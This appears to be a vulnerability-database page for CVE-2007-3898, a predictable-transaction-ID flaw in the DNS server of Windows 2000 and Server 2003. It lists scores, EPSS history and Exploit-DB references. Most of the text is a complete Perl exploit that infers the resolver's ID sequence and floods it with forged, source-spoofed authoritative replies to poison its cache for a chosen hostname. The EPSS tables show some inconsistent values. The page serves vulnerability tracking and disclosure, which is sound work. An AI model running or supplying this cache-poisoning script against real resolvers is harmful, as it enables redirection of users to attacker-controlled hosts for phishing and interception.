CVE-2007-3898

OWSAP

A05-Security Misconfiguration

EPSS

86.03%V4

Vector

Network

Published

2007-11-14
00h00 +00:00

Modified

2018-10-15
18h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

The DNS server in Microsoft Windows 2000 Server SP4, and Server 2003 SP1 and SP2, uses predictable transaction IDs when querying other DNS servers, which allows remote attackers to spoof DNS replies, poison the DNS cache, and facilitate further attack vectors.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-16	Category : Configuration Weaknesses in this category are typically introduced during the configuration of the software.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.4		AV:N/AC:L/Au:N/C:N/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	51.48%	–	–
2022-04-03	–	–	51.48%	–	–
2023-03-12	–	–	–	96.8%	–
2023-05-28	–	–	–	96.85%	–
2023-07-02	–	–	–	96.83%	–
2023-10-15	–	–	–	96.41%	–
2023-11-19	–	–	–	96.28%	–
2023-12-31	–	–	–	96.19%	–
2024-03-10	–	–	–	96.47%	–
2024-06-02	–	–	–	96.47%	–
2024-06-02	–	–	–	96.47%	–
2024-07-07	–	–	–	96.32%	–
2024-08-11	–	–	–	95.97%	–
2024-09-22	–	–	–	94.91%	–
2024-12-08	–	–	–	95.71%	–
2024-12-22	–	–	–	92.18%	–
2025-01-12	–	–	–	88.45%	–
2025-01-19	–	–	–	88.45%	–
2025-03-18	–	–	–	–	85.47%
2025-03-30	–	–	–	–	86.03%
2025-03-30	–	–	–	–	86.03,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	98%
2022-04-03	99%
2023-03-12	99%
2023-05-28	1%
2023-07-02	1%
2023-10-15	99%
2023-11-19	99%
2023-12-31	99%
2024-03-10	1%
2024-06-02	1%
2024-06-02	1%
2024-07-07	1%
2024-08-11	1%
2024-09-22	99%
2024-12-08	1%
2024-12-22	99%
2025-01-12	99%
2025-01-19	99%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

Exploit information

Exploit Database EDB-ID : 30635

Publication date : 2007-11-12 23h00 +00:00
Author : Alla Berzroutchko
EDB Verified : Yes

Exploit Database EDB-ID : 30636

Publication date : 2007-11-12 23h00 +00:00
Author : Alla Berzroutchko
EDB Verified : Yes

source: https://www.securityfocus.com/bid/25919/info Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests. A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing. #!/usr/bin/perl use strict; use Net::DNS; use Net::DNS::Nameserver; use IO::Socket; use Net::RawIP; sub usage { print ("$0 is a program for DNS id spoofing.\n"); print ("usage: $0 target tospoof ourzone port\n"); print ("Example: $0 ns1.belbone.be www.hotmail.com .cache-poisoning.net 1025\n"); } my($target, $tospoof, $ourzone, $query_port) = @ARGV; $tospoof = "www.hotmail.com" unless($tospoof); $ourzone = ".cache-poisoning.net" unless($ourzone); $query_port = 53 unless($query_port); if(!$target) { usage(); die("You must specify target nameserver\n"); } my($host, $domain) = split(/\./, $tospoof, 2); my $client = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 53, Proto => "udp") or die "Couldn't be a udp client on port 53 : $@\n"; my @nameservers = get_nameservers($domain); #print join("\n", @nameservers); #exit; cache_ns($client, $tospoof); # Make vitim cache ns record for name to spoof my @ids = get_sequence($client, $ourzone); my @replies = prepare_replies(\@nameservers, \@ids, $target, $tospoof); send_request($client, $tospoof); send_replies(@replies); sub prepare_replies($$$$) { my($nameservers, $initial_ids, $target, $tospoof) = @_; my $totry = 500; # We will try 500 ids subsequent to the one we've got my $fakeip = "127.0.0.1"; # IP address that we want the target cache to believe in my @replies; for my $i (1..$totry) { for my $id (@$initial_ids) { my $dns_packet = Net::DNS::Packet->new($tospoof); $dns_packet->push("pre", rr_add($tospoof . " A " . $fakeip)); $dns_packet->header->qr(1); $dns_packet->header->aa(1); # Authoritative $dns_packet->header->rd(1); # Recursion desired $dns_packet->header->ra(1); # Recursion available $dns_packet->header->id($id+$i); for my $nameserver(@$nameservers) { my $packet = new Net::RawIP({udp=>{}}); $packet->set({ip=>{saddr=>$nameserver, daddr=>$target}, udp=>{source=>53, dest=>$query_port, data=>$dns_packet->data()} }); push @replies, $packet; } } } return @replies; } sub send_replies(@) { my @packets = @_; foreach my $packet(@packets) { $packet->send(0,2); } } sub send_request($$) { my($client, $tospoof) = @_; my $packet = Net::DNS::Packet->new($tospoof, "A"); $client->send($packet->data()) or die "send: $!"; } sub cache_ns($$) { my($client, $tospoof) = @_; my($host, $domain) = split(/\./, $tospoof, 2); my $packet = Net::DNS::Packet->new($domain, "NS"); $client->send($packet->data()) or die "send: $!"; } sub get_sequence($$) { my ($client, $ourzone) = @_; my $server = Net::DNS::Nameserver->new( LocalAddr => "0.0.0.0", LocalPort => "53", ReplyHandler => \&reply_handler, Verbose => 0 ) || die; my @ids; for(my $i=0; $i<50; $i++) { my $packet = Net::DNS::Packet->new("id$i$$".$ourzone); $client->send($packet->data()) or warn "Failed sending packet: $!"; #print STDERR "Request sent\n"; ## Wait for request from target nameserver sub reply_handler { my ($qname, $qclass, $qtype, $peerhost, $query) = @_; my ($rcode, @ans, @auth, @add); die sprintf "ID %d\n", $query->header->id; }; eval { $SIG{ALRM} = sub { die "timeout\n"; }; alarm(2); $server->main_loop(); }; alarm(0); if ($@ =~ /^timeout/) { next; }; unless ($@ =~ /^ID (\d+)/) { die $@; }; my $id = $1; push @ids, $id; } my @seq = analyse_ids(@ids); return @seq; } sub analyse_ids { my @ids = @_; my @seq; # Keeps the last seen number in each sequence my $counter = 0; my $num_seq = 8; # total number of sequences we track my $max_diff = 500; # maximum difference between two subsequent ids in one sequence id: for my $id (@ids) { for my $i (0..$num_seq) { if(defined($seq[$i]) && $seq[$i]<$id && $seq[$i]+$max_diff>$id) { # We have already seen numbers from this sequence $seq[$i] = $id; $counter++; next id; } if(defined($seq[$i]) && $seq[$i]>65535/4-$max_diff && $id < $max_diff) { # Sequence has wrapped $seq[$i] = $id; $counter++; next id; } if(!defined($seq[$i])) { # We have not seen this sequence, and there are still free sequence slots $seq[$i] = $id; $counter++; next id; } } $counter++; } return @seq; } sub get_nameservers($) { my $domain = shift; my $res = Net::DNS::Resolver->new; my $query = $res->query($domain, "NS"); my @nameservers; if ($query) { foreach my $rr (grep { $_->type eq 'NS' } $query->answer) { my $server = $rr->nsdname; push @nameservers, host_to_ip($server); # Windows always uses first nameserver if available return @nameservers; } } return(@nameservers); } sub host_to_ip($) { my $hostname = shift; my $ip = join(".", unpack("C4", ((gethostbyname($hostname))[4]) || return $_[0])); my $num = unpack("N", pack("C4", split(/\./, $ip))); return $num; }